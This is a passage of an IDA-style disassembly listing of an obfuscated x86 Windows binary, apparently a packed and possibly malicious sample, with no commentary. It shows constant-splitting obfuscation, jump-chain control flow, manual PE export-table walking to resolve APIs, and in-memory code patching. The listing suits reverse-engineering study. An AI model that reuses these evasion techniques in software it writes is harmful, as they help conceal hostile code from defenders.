00000005 BYTES xchg ecx, [esp+0] pop ecx call sub_42D910 mov [ebp-4], eax jmp loc_42596A sub_42DECB endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42760F loc_42DEDC: ; CODE XREF: sub_42760F:loc_4249B2j lea eax, [ebp-125h] push eax call sub_42B02D jmp loc_425D9D ; END OF FUNCTION CHUNK FOR sub_42760F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42FC41 loc_42DEED: ; CODE XREF: sub_42FC41+Aj xor eax, eax push offset loc_42DBC5 jmp nullsub_189 ; END OF FUNCTION CHUNK FOR sub_42FC41 ; --------------------------------------------------------------------------- loc_42DEF9: ; CODE XREF: wto1jq8f:00429545j jb sub_426144 ; =============== S U B R O U T I N E ======================================= sub_42DEFF proc near ; CODE XREF: sub_42E9E8:loc_4284A1p ; FUNCTION CHUNK AT 00427949 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042AA4E SIZE 0000001A BYTES ; FUNCTION CHUNK AT 0042B03D SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042C660 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042C72A SIZE 0000002F BYTES ; FUNCTION CHUNK AT 0042CAAC SIZE 00000026 BYTES mov [esp+0], eax pop eax loc_42DF03: ; CODE XREF: wto1jq8f:loc_427A4Dj push 0E4D3BFB8h pop eax loc_42DF09: ; CODE XREF: sub_426535-1870j and eax, 0C0D36C17h xor eax, 5255C99Dh jmp loc_42C660 sub_42DEFF endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426968 loc_42DF1A: ; CODE XREF: sub_426968+2E30j add ebx, 6AAD9708h ror esi, 1Ah loc_42DF23: ; CODE XREF: sub_426968:loc_426B0Aj mov eax, [ebp-4] push ecx push 90E45DABh pop ecx rol ecx, 2 test ecx, 2 jmp loc_4280CC ; END OF FUNCTION CHUNK FOR sub_426968 ; =============== S U B R O U T I N E ======================================= sub_42DF3B proc near ; CODE XREF: wto1jq8f:00426659p ; wto1jq8f:004278E6j arg_0 = dword ptr 4 mov [esp+0], ebx pop ebx push 6D8758F0h pop esi add esi, 92BB79B2h xchg esi, [esp-4+arg_0] jmp loc_42BE99 sub_42DF3B endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E9E8 loc_42DF53: ; CODE XREF: sub_428E81+10j or eax, 639E1B2Eh add eax, 1CA44BC2h mov eax, [eax] or eax, eax jnz loc_42C883 jmp loc_42B952 ; END OF FUNCTION CHUNK FOR sub_42E9E8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42DD2D loc_42DF6E: ; CODE XREF: sub_42DD2D:loc_42E8F8j jnz loc_4299F6 push ecx push 0F5C4476Ch pop ecx jmp loc_424748 ; END OF FUNCTION CHUNK FOR sub_42DD2D ; =============== S U B R O U T I N E ======================================= sub_42DF80 proc near ; DATA XREF: sub_4262CE-216Do xchg ecx, [esp+0] jmp sub_424F23 sub_42DF80 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR TlsCallback_0 loc_42DF88: ; CODE XREF: TlsCallback_0:loc_4299B2j ; TlsCallback_0+1B98j mov eax, 62h call sub_428183 call sub_42A14D ; END OF FUNCTION CHUNK FOR TlsCallback_0 ; START OF FUNCTION CHUNK FOR sub_4244EA loc_42DF97: ; CODE XREF: sub_4244EA+5947j jmp loc_42F93C ; END OF FUNCTION CHUNK FOR sub_4244EA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426144 loc_42DF9C: ; CODE XREF: sub_426144-159Fj jmp loc_42D989 ; END OF FUNCTION CHUNK FOR sub_426144 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_27. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42F614 loc_42DFA2: ; CODE XREF: sub_42F614-EBFj jmp loc_427FC2 ; END OF FUNCTION CHUNK FOR sub_42F614 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426E98 loc_42DFA7: ; CODE XREF: sub_426E98+46BDj jmp loc_42C3E5 ; END OF FUNCTION CHUNK FOR sub_426E98 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428310 loc_42DFAC: ; CODE XREF: sub_428310+Ej jmp loc_4282F4 ; END OF FUNCTION CHUNK FOR sub_428310 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426968 loc_42DFB1: ; CODE XREF: sub_426968+22B9j ; sub_426968:loc_42B7DCj mov eax, [ebp-0Ch] movzx eax, byte ptr [eax] add [ebp-8], eax mov eax, [ebp-8] jmp loc_4264CE ; END OF FUNCTION CHUNK FOR sub_426968 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_216. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426E98 loc_42DFC3: ; CODE XREF: sub_426E98+28D6j js loc_42CDFE or edi, ecx jmp loc_42EC39 ; END OF FUNCTION CHUNK FOR sub_426E98 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42AECE loc_42DFD0: ; CODE XREF: sub_42AECE-21BCj mov edx, eax xchg edx, [esp-8+arg_4] call sub_42D765 retn ; END OF FUNCTION CHUNK FOR sub_42AECE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4293FF loc_42DFDB: ; CODE XREF: sub_4293FF-E20j jmp nullsub_119 ; END OF FUNCTION CHUNK FOR sub_4293FF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42506F loc_42DFE0: ; CODE XREF: sub_42506F+1C2Bj jmp loc_42B6F9 ; END OF FUNCTION CHUNK FOR sub_42506F ; =============== S U B R O U T I N E ======================================= sub_42DFE5 proc near ; CODE XREF: sub_42727F:loc_426E20j ; sub_4296B3+3p ... jnz sub_426313 jmp sub_42716A sub_42DFE5 endp ; =============== S U B R O U T I N E ======================================= sub_42DFF0 proc near ; DATA XREF: sub_426D4F:loc_42E8AAo push eax call sub_42FC50 locret_42DFF6: ; CODE XREF: sub_42E9E8:loc_42C080j retn sub_42DFF0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42ED01 loc_42DFF7: ; CODE XREF: sub_42ED01-9D5Ej jmp loc_42B7F0 ; END OF FUNCTION CHUNK FOR sub_42ED01 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4282C1 loc_42DFFC: ; CODE XREF: sub_4282C1:loc_42B0D8j add eax, 8A7DED42h xchg eax, [esp+0] push 0 push ecx jmp loc_42DA4D ; END OF FUNCTION CHUNK FOR sub_4282C1 ; --------------------------------------------------------------------------- mov edx, 0F7C6D0F8h push edi push 0E49F8E64h pop edi sub edi, 7603BDBCh jmp loc_42F8E6 ; --------------------------------------------------------------------------- adc ebp, edx jmp sub_42E04D ; --------------------------------------------------------------------------- sbb ecx, 2776DE99h xchg esi, ecx jmp sub_429AE8 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_93. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42A3EB loc_42E039: ; CODE XREF: sub_42A3EB+2A24j jmp loc_425B62 ; END OF FUNCTION CHUNK FOR sub_42A3EB ; --------------------------------------------------------------------------- sbb esi, ebx jmp sub_42D71D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42481C loc_42E045: ; CODE XREF: sub_42481C:loc_42F628j ror esi, 8 jmp loc_42A257 ; END OF FUNCTION CHUNK FOR sub_42481C ; =============== S U B R O U T I N E ======================================= sub_42E04D proc near ; CODE XREF: sub_428C71:loc_42892Ep ; wto1jq8f:0042E026j var_4 = dword ptr -4 ; FUNCTION CHUNK AT 004272E9 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042A5EC SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042C7E3 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0042E27E SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0042FE07 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042FEE3 SIZE 0000000F BYTES mov [esp+0], ecx pop ecx add eax, ebp add eax, 4EEF06BAh mov eax, [eax] push eax call sub_42AECE loc_42E061: ; CODE XREF: wto1jq8f:00426573j ; sub_428C71+40FAj mov eax, 120h jmp loc_42FE07 sub_42E04D endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_170. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42C6F9 loc_42E06C: ; CODE XREF: sub_42C6F9+12j jmp nullsub_121 ; END OF FUNCTION CHUNK FOR sub_42C6F9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42AAC3 loc_42E071: ; CODE XREF: sub_42AAC3+18Dj jmp loc_4294A0 ; END OF FUNCTION CHUNK FOR sub_42AAC3 ; =============== S U B R O U T I N E ======================================= sub_42E076 proc near ; CODE XREF: wto1jq8f:00428ADFj ; sub_42AA68+5p arg_C = dword ptr 10h mov [esp+0], edx pop edx push ecx mov ecx, [esp+arg_C] call sub_42C786 loc_42E084: ; CODE XREF: sub_42DCB4:loc_42F5D2j pop ebx retn sub_42E076 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42C486 loc_42E086: ; CODE XREF: sub_42C486+10j jmp loc_4249ED ; END OF FUNCTION CHUNK FOR sub_42C486 ; --------------------------------------------------------------------------- loc_42E08B: ; CODE XREF: wto1jq8f:0042AFA0j jmp locret_426CBE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42B02D loc_42E090: ; CODE XREF: sub_42B02D+377j ; sub_42B02D+494j ... push offset loc_42FDF3 jmp loc_428D18 ; END OF FUNCTION CHUNK FOR sub_42B02D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426E98 loc_42E09A: ; CODE XREF: sub_426E98+4BD7j jz loc_42E0A8 loc_42E0A0: ; CODE XREF: sub_426E98:loc_42CAF0j mov ebx, [ebx+ecx] call sub_428B05 ; END OF FUNCTION CHUNK FOR sub_426E98 ; START OF FUNCTION CHUNK FOR sub_425E35 loc_42E0A8: ; CODE XREF: sub_426E98+72j ; sub_426E98+D9Aj ... jz loc_42647D mov ecx, [ebx+3Ch] mov ecx, [ebx+ecx+78h] jmp loc_429B0D ; END OF FUNCTION CHUNK FOR sub_425E35 ; --------------------------------------------------------------------------- mov edx, 30DFC367h push edx push 77DD9DDCh pop edx ; START OF FUNCTION CHUNK FOR sub_429B76 loc_42E0C6: ; CODE XREF: sub_429B76:loc_427B95j and edx, 0AD0BA7C9h jmp loc_4247ED ; END OF FUNCTION CHUNK FOR sub_429B76 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42A5BE loc_42E0D1: ; CODE XREF: sub_42A5BE+1j pushf push 20720688h call sub_42FBB5 loc_42E0DC: ; CODE XREF: sub_42E4EA+Cj jmp nullsub_123 ; END OF FUNCTION CHUNK FOR sub_42A5BE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E541 loc_42E0E1: ; CODE XREF: sub_42E541-58DEj jmp nullsub_133 ; END OF FUNCTION CHUNK FOR sub_42E541 ; =============== S U B R O U T I N E ======================================= sub_42E0E6 proc near ; CODE XREF: sub_424D58+770Ep mov [esp+0], eax push 23DA22F7h pop eax add eax, 0DC68D2CCh xchg eax, [esp+0] jmp sub_427A8D sub_42E0E6 endp ; =============== S U B R O U T I N E ======================================= sub_42E0FD proc near ; CODE XREF: sub_42596F+7p ; wto1jq8f:0042F960j arg_4 = dword ptr 8 ; FUNCTION CHUNK AT 004273C5 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00427F61 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00428A67 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 004290B3 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00429617 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00429B61 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042B2FC SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0042B3EC SIZE 0000001A BYTES ; FUNCTION CHUNK AT 0042BDE4 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0042C665 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042EE7A SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042EEA9 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042FF5B SIZE 00000002 BYTES mov [esp+0], ebx pop ebx mov ebp, esp call sub_42B0AE loc_42E108: ; CODE XREF: sub_428430:loc_42A7DDj mov ebp, esp push ecx mov esp, ebp xchg edx, [esp+0] jmp loc_42EEA9 sub_42E0FD endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_42E115 proc near ; DATA XREF: wto1jq8f:0042AF36o arg_4 = dword ptr 8 push 0F25FCAE5h pop edx add edx, 0A0EBEA67h sub eax, ecx pop edx pop eax mov ebx, offset sub_428845 xchg ebx, [esp-8+arg_4] jmp nullsub_239 sub_42E115 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4282C1 loc_42E132: ; CODE XREF: sub_4282C1+7B86j mov edi, 0CB6A71D0h loc_42E137: ; CODE XREF: sub_4282C1:loc_42D3C6j push eax push 97A826Ah pop eax add eax, 55A49F16h jmp loc_42A337 ; END OF FUNCTION CHUNK FOR sub_4282C1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424702 loc_42E149: ; CODE XREF: sub_424702:loc_42A945j jz loc_4245A1 mov eax, [ebp-4] inc eax push offset loc_424FB3 jmp loc_424723 ; END OF FUNCTION CHUNK FOR sub_424702 ; --------------------------------------------------------------------------- loc_42E15D: ; CODE XREF: wto1jq8f:0042EB1Ej test al, al jz loc_42C5F6 jmp loc_42E217 ; --------------------------------------------------------------------------- mov eax, ecx jmp loc_42FA0D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42F6A9 loc_42E171: ; CODE XREF: sub_42F6A9+1Ej mov eax, [eax] mov ecx, [eax] add eax, 4 mov ebx, [eax] jmp loc_42A7FE ; END OF FUNCTION CHUNK FOR sub_42F6A9 ; --------------------------------------------------------------------------- loc_42E17F: ; CODE XREF: wto1jq8f:loc_42984Dj jl loc_42967A loc_42E185: ; CODE XREF: wto1jq8f:0042C574j jmp loc_42F339 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424635 loc_42E18A: ; CODE XREF: sub_424635+Bj jmp nullsub_124 ; END OF FUNCTION CHUNK FOR sub_424635 ; --------------------------------------------------------------------------- xchg edi, ebx jle loc_42BA69 cmp edi, 0E7079DE8h jmp loc_42966D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4266EF loc_42E1A2: ; CODE XREF: sub_4266EF+12j mov byte ptr [eax], 0C3h mov [ebp-4], eax push 1Ch lea eax, [ebp-34h] push eax jmp loc_42C6AC ; END OF FUNCTION CHUNK FOR sub_4266EF ; --------------------------------------------------------------------------- loc_42E1B3: ; CODE XREF: wto1jq8f:00428E5Aj ; wto1jq8f:loc_42CDCFj cmp esi, eax jmp loc_42AB22 ; --------------------------------------------------------------------------- loc_42E1BA: ; DATA XREF: sub_42A3DA:loc_42CD1Eo add edx, ebp add edx, 0AFFC16EEh mov edx, [edx] popf xchg eax, [edx] jmp loc_4241A8 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_110. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4266B1 loc_42E1CD: ; CODE XREF: sub_4266B1+3549j jmp loc_42AB18 ; END OF FUNCTION CHUNK FOR sub_4266B1 ; =============== S U B R O U T I N E ======================================= sub_42E1D2 proc near ; DATA XREF: sub_42B520-6C7Do jnb loc_42AC2F mov eax, [ebp+8] cmp dword ptr [eax-14h], 4 push offset sub_42C4E2 jmp nullsub_128 sub_42E1D2 endp ; --------------------------------------------------------------------------- loc_42E1E9: ; CODE XREF: wto1jq8f:loc_426442j jz loc_42BBA1 loc_42E1EF: ; CODE XREF: wto1jq8f:loc_4265FAj jmp loc_42F799 ; --------------------------------------------------------------------------- retn ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_116. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42506F loc_42E1F6: ; CODE XREF: wto1jq8f:00425DB6j ; sub_426968+2234j ... mov eax, [ebp-4] push eax call sub_42660F jmp loc_426A4A ; END OF FUNCTION CHUNK FOR sub_42506F ; --------------------------------------------------------------------------- mov eax, [ebp-4] jmp loc_424081 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_234. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426968 loc_42E20D: ; CODE XREF: sub_426968:loc_4295FEj push offset sub_42E42A jmp loc_424EC9 ; END OF FUNCTION CHUNK FOR sub_426968 ; --------------------------------------------------------------------------- loc_42E217: ; CODE XREF: wto1jq8f:0042E165j jnz loc_426020 jmp loc_42412A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42FBC7 loc_42E222: ; CODE XREF: sub_42FBC7-8D9Cj cdq sub eax, esi jmp loc_42C142 ; END OF FUNCTION CHUNK FOR sub_42FBC7 ; --------------------------------------------------------------------------- loc_42E22A: ; CODE XREF: wto1jq8f:00427FFAj add eax, 69B99DEBh xchg eax, [esp] jmp loc_42AF69 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_160. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428AC6 loc_42E239: ; CODE XREF: sub_428AC6+6158j push 927392C3h pop edx sub edx, 6B3E2A50h test edx, 400h jmp loc_42F5D7 ; --------------------------------------------------------------------------- loc_42E250: ; CODE XREF: sub_428AC6:loc_42BD4Fj pop edx xor edx, 4381041h add edx, ebp add edx, 0AC8F860Fh mov [edx], eax pop edx jmp loc_42DE02 ; END OF FUNCTION CHUNK FOR sub_428AC6 ; --------------------------------------------------------------------------- mov esi, 0E991E116h not edi jmp sub_42A0E5 ; --------------------------------------------------------------------------- loc_42E273: ; CODE XREF: wto1jq8f:loc_42F08Dj jz loc_42ADBE jmp loc_42C97D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E04D loc_42E27E: ; CODE XREF: sub_42E04D:loc_42FE07j call sub_428183 jmp loc_42C7E3 ; END OF FUNCTION CHUNK FOR sub_42E04D ; --------------------------------------------------------------------------- mov dword ptr [ebp-8], 1 jmp loc_42A0BD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426C0C loc_42E294: ; CODE XREF: sub_426C0C:loc_428700j ; sub_426C0C+1B03j ... mov eax, [ebp-10h] jmp loc_42A95B ; END OF FUNCTION CHUNK FOR sub_426C0C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42C6C3 loc_42E29C: ; CODE XREF: sub_42C6C3:loc_42E82Ej push 1BF8DEF2h pop edi add edi, 0E44A03BEh xchg edi, [esp+4+var_4] jmp sub_428C71 ; END OF FUNCTION CHUNK FOR sub_42C6C3 ; --------------------------------------------------------------------------- add esp, 10h push offset sub_428C68 jmp locret_42DEAD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42506F loc_42E2BD: ; CODE XREF: sub_42506F+41A6j ; sub_42506F:loc_42C906j push 0FB1D3CF8h pop eax and eax, 0DB595C8Bh xor eax, 0DB191CEBh jmp loc_429FCB ; END OF FUNCTION CHUNK FOR sub_42506F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425F4F loc_42E2D4: ; CODE XREF: sub_425F4F:loc_42AE4Ej shr eax, 0Fh jmp loc_42EAC0 ; END OF FUNCTION CHUNK FOR sub_425F4F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429B76 loc_42E2DC: ; CODE XREF: sub_429B76:loc_42A2A0j ; sub_429B76+731j popf ror ebp, 0Eh or edi, 3A8E307h loc_42E2E6: ; CODE XREF: sub_429B76:loc_42D778j call sub_4269D1 ; END OF FUNCTION CHUNK FOR sub_429B76 ; START OF FUNCTION CHUNK FOR sub_426144 loc_42E2EB: ; CODE XREF: sub_426144+7C93j jmp loc_42F876 ; END OF FUNCTION CHUNK FOR sub_426144 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42F81B loc_42E2F0: ; CODE XREF: sub_42F81B-8C5Fj jmp loc_425B7E ; END OF FUNCTION CHUNK FOR sub_42F81B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4276C3 loc_42E2F5: ; CODE XREF: sub_4276C3+11E5j call sub_4240DC loc_42E2FA: ; CODE XREF: sub_42A909+513Bj jmp nullsub_6 ; END OF FUNCTION CHUNK FOR sub_4276C3 ; --------------------------------------------------------------------------- call sub_424585 push 0B99A0342h pop edx add edx, 38C2B60Dh call sub_429165 push ebx push 0E1F98A9Bh pop ebx jmp loc_42E3DB ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_146. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426D31 loc_42E322: ; CODE XREF: sub_426D31+13j jmp nullsub_234 ; END OF FUNCTION CHUNK FOR sub_426D31 ; --------------------------------------------------------------------------- loc_42E327: ; CODE XREF: wto1jq8f:0042E701j push 0F29E10BFh jmp loc_42E97B ; --------------------------------------------------------------------------- loc_42E331: ; CODE XREF: wto1jq8f:0042953Aj js loc_425C8A ; =============== S U B R O U T I N E ======================================= sub_42E337 proc near ; CODE XREF: sub_42660F-14Dp ; wto1jq8f:loc_42DB4Bj ; FUNCTION CHUNK AT 0042838A SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042AE54 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042BAC0 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 0042F89D SIZE 0000000A BYTES xchg ecx, [esp+0] pop ecx loc_42E33B: ; CODE XREF: sub_42C486:loc_42C2B3j call sub_427A9E push 320D68E3h jmp loc_42BAC0 sub_42E337 endp ; sp-analysis failed ; --------------------------------------------------------------------------- xor esi, 90453F9Ah ; =============== S U B R O U T I N E ======================================= sub_42E350 proc near ; CODE XREF: wto1jq8f:0042F6EAp ; FUNCTION CHUNK AT 0042703C SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042B3E2 SIZE 0000000A BYTES mov [esp+0], ecx pop ecx call sub_429165 call sub_424585 mov edx, 6FDE1A91h jmp loc_42703C sub_42E350 endp ; sp-analysis failed ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_71. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_42E369 proc near ; DATA XREF: wto1jq8f:loc_4283F0o ; FUNCTION CHUNK AT 0042B79A SIZE 00000005 BYTES push 3AE8EC6Fh pop eax xor eax, 6E32E234h add eax, ebp add eax, 0AB25F1A1h push offset sub_42D849 jmp loc_42B79A sub_42E369 endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_112. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D13F loc_42E388: ; CODE XREF: sub_42D13F+6j jmp nullsub_131 ; END OF FUNCTION CHUNK FOR sub_42D13F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42B35E loc_42E38D: ; CODE XREF: sub_42B35E:loc_42B210j push 4DDE21ABh pop edx add edx, 0CBD1F671h add edx, eax jmp loc_425D11 ; END OF FUNCTION CHUNK FOR sub_42B35E ; --------------------------------------------------------------------------- loc_42E3A0: ; CODE XREF: wto1jq8f:loc_4280ADj mov edx, esi sub ebx, 0E8B2153Ch jmp loc_427ADC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42CD35 loc_42E3AD: ; CODE XREF: sub_42CD35:loc_42995Aj pop ecx mov [ebp-20h], eax jmp loc_42C868 ; END OF FUNCTION CHUNK FOR sub_42CD35 ; =============== S U B R O U T I N E ======================================= sub_42E3B6 proc near ; CODE XREF: sub_42CD35+4p push offset sub_42F03D jmp nullsub_132 sub_42E3B6 endp ; --------------------------------------------------------------------------- loc_42E3C0: ; CODE XREF: wto1jq8f:0042EB79j ror edi, 1Ch ; =============== S U B R O U T I N E ======================================= sub_42E3C3 proc near ; CODE XREF: wto1jq8f:0042CDEFp xchg edi, [esp+0] pop edi push eax retn sub_42E3C3 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42506F loc_42E3C9: ; CODE XREF: sub_42506F+2A68j sub esi, 0C401DA62h add esi, 0F8F3ED8Ah call sub_427B3D ; END OF FUNCTION CHUNK FOR sub_42506F ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_94. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_42E3DB: ; CODE XREF: wto1jq8f:0042E31Cj jmp loc_42BE2D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42414C loc_42E3E0: ; CODE XREF: sub_42414C+7C33j jmp loc_428E20 ; END OF FUNCTION CHUNK FOR sub_42414C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42F563 loc_42E3E5: ; CODE XREF: sub_42F563-767Ej jmp nullsub_206 ; END OF FUNCTION CHUNK FOR sub_42F563 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426968 loc_42E3EA: ; CODE XREF: sub_426968-1991j mov eax, ds:dword_42D5F0 or eax, eax jnz loc_42B50C jmp loc_429EE0 ; END OF FUNCTION CHUNK FOR sub_426968 ; =============== S U B R O U T I N E ======================================= sub_42E3FD proc near ; CODE XREF: wto1jq8f:0042BCC5p ; FUNCTION CHUNK AT 0042450F SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0042476D SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0042B432 SIZE 0000000A BYTES xchg ebx, [esp+0] mov ebx, [esp+0] cmp ebx, 8FC87A1Eh or edx, 0D5E207EAh jno loc_424774 add ebx, ecx rol eax, 1Eh jmp loc_42450F sub_42E3FD endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42FAE4 loc_42E41F: ; CODE XREF: sub_42FAE4-7411j ja loc_42F14C jmp loc_424995 ; END OF FUNCTION CHUNK FOR sub_42FAE4 ; =============== S U B R O U T I N E ======================================= sub_42E42A proc near ; DATA XREF: sub_426968:loc_42E20Do jnz loc_42AC2F call sub_42AC24 sub_42E42A endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_42C486 loc_42E435: ; CODE XREF: sub_42C486+234Cj jmp loc_425E55 ; END OF FUNCTION CHUNK FOR sub_42C486 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E541 loc_42E43A: ; CODE XREF: sub_42E541+Fj jmp loc_42A582 ; END OF FUNCTION CHUNK FOR sub_42E541 ; --------------------------------------------------------------------------- loc_42E43F: ; CODE XREF: wto1jq8f:0042807Cj cmp eax, 0A8FC24B0h jmp loc_427CD8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42C423 loc_42E44A: ; CODE XREF: sub_42C423:loc_427466j ; sub_42ACD6+1D4Bj call sub_42760F ; END OF FUNCTION CHUNK FOR sub_42C423 ; START OF FUNCTION CHUNK FOR sub_42821F loc_42E44F: ; CODE XREF: sub_42821F+Bj jmp loc_4287B0 ; END OF FUNCTION CHUNK FOR sub_42821F ; --------------------------------------------------------------------------- loc_42E454: ; CODE XREF: wto1jq8f:0042A1E3j sbb eax, ebx loc_42E456: ; CODE XREF: wto1jq8f:loc_42B882j jmp loc_42BE9E ; --------------------------------------------------------------------------- jmp loc_42A503 ; =============== S U B R O U T I N E ======================================= sub_42E460 proc near ; CODE XREF: sub_428295+6j var_14 = dword ptr -14h ; FUNCTION CHUNK AT 0042EA7A SIZE 0000000F BYTES add esp, 0FFFFFFF0h push esi push 9691E9F1h jmp loc_42EA7A sub_42E460 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42716A loc_42E46E: ; CODE XREF: sub_42716A+7j push 0FC9A684Eh pop eax add eax, 3A87CDAh mov eax, [eax] or eax, eax jmp loc_426A4A ; END OF FUNCTION CHUNK FOR sub_42716A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42AA68 loc_42E483: ; CODE XREF: sub_42AA68+437j mov eax, [eax] neg eax sbb eax, eax neg eax push ebx push 0F3CD8082h pop ebx add ebx, 7013F0F4h jmp loc_42A5F6 ; END OF FUNCTION CHUNK FOR sub_42AA68 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42A2B8 loc_42E49D: ; CODE XREF: sub_42A2B8+9j cmp dword ptr [ebp-8], 0 jnz loc_42E4AD mov eax, [ebp-4] mov [ebp-8], eax loc_42E4AD: ; CODE XREF: wto1jq8f:loc_42BEA3j ; sub_42C2D2+Dj ... call sub_42D446 mov [ebp-0Ah], al ; END OF FUNCTION CHUNK FOR sub_42A2B8 ; START OF FUNCTION CHUNK FOR sub_42D434 